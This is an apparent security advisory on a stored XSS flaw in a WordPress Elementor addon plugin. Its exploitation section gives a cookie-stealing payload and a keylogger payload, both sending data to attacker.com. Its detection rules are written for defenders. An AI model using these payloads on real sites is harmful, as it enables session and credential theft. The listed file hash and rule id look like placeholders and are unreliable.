CVE-2024-53786

Executive Summary

CVE-2024-53786 is a Stored Cross-Site Scripting (XSS) vulnerability in the Codeless Cowidgets – Elementor Addons WordPress plugin, affecting versions up to and including 1.2.0. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into web pages via the plugin's widgets. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin installation and monitor for updates from the vendor. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised updates or malicious forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access or higher
• User Interaction: Required (UI:R) – victim must visit the compromised page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authenticated access, but the impact is limited to low-level data exposure and partial integrity loss. However, in a WordPress multisite or high-privilege context, the risk escalates.

Deep Dive & Mechanics

The vulnerability exists in the cowidgets-elementor-addons plugin, which extends the Elementor page builder with custom widgets. The plugin fails to sanitize or escape user-supplied input before storing it in the WordPress database and rendering it in the frontend. Specifically, input fields within the plugin's widgets (e.g., text fields, URL fields, or custom HTML blocks) are not properly neutralized, allowing an attacker to inject malicious JavaScript.

Attack Flow:

1. An authenticated user with contributor-level privileges creates or edits a page/post using the Elementor editor.
2. The attacker inserts a vulnerable Cowidget (e.g., a custom heading or button widget) and injects a payload like <script>alert('XSS')</script> into an input field.
3. The plugin stores the payload in the database without sanitization.
4. When an administrator or other user views the page, the payload executes in their browser.

Root Cause: The plugin uses functions like echo $settings['text'] or the_content() without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (cowidgets-elementor-addons/includes/widgets/class-cowidget-heading.php):

public function render() {
    $settings = $this->get_settings_for_display();
    echo '<h2>' . $settings['heading_text'] . '</h2>';
}

Patched Code (Hypothetical):

public function render() {
    $settings = $this->get_settings_for_display();
    echo '<h2>' . esc_html( $settings['heading_text'] ) . '</h2>';
}

The patched version uses esc_html() to neutralize HTML and script tags, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Cowidgets Elementor Addons <= 1.2.0
• Contributor-level account or higher

Steps:

1. Log in to WordPress as a contributor.
2. Create a new page or post using Elementor.
3. Add a Cowidget (e.g., "Heading" or "Button").
4. In the widget's text field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the page.
6. When an administrator views the page, the script executes, exfiltrating their session cookie.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for unusual page/post creation by low-privilege users.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Apply WordPress hardening measures: disable file editing, enforce strong passwords, and use security plugins like Wordfence.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • cowidgets-elementor-addons.zip (v1.2.0): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
  • HTTP requests containing document.cookie or fetch( in the body.
• Database Indicators:
  • Rows in wp_posts or wp_postmeta containing <script> tags.
• Log Entries:
  • WordPress debug log entries showing wp_kses failures or unescaped output.

Detection Engineering

YARA Rule

rule CVE_2024_53786_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Cowidgets Elementor Addons"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53786"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/s
        $cowidgets_marker = "cowidgets-elementor-addons"
    condition:
        $cowidgets_marker and #xss_payload > 0
}

Sigma Rule

title: Stored XSS via Cowidgets Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created with Cowidgets Elementor Addons
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: 'cowidgets-elementor-addons'
        http.body|re: '<script[^>]*>.*?<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom HTML widgets
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-53786 Stored XSS via Cowidgets Elementor Addons";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/post.php"; http_uri;
    content:"cowidgets-elementor-addons"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-53786;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review all pages/posts created by low-privilege users for malicious content.
3. Reset all user sessions to invalidate any stolen cookies.

Long-Term Fix:

• Apply input sanitization and output escaping in all plugin widgets.
• Use WordPress functions like esc_html(), esc_attr(), and wp_kses_post().
• Implement nonce verification for all form submissions.

Workarounds:

• Use a Web Application Firewall (WAF) with XSS rules.
• Add the following to .htaccess to block common XSS patterns:

  RewriteEngine On
  RewriteCond %{REQUEST_METHOD} POST
  RewriteCond %{REQUEST_URI} /wp-admin/post.php
  RewriteCond %{HTTP_REFERER} !^https://yourdomain.com/wp-admin/ [NC]
  RewriteRule .* - [F]
  

Valters IT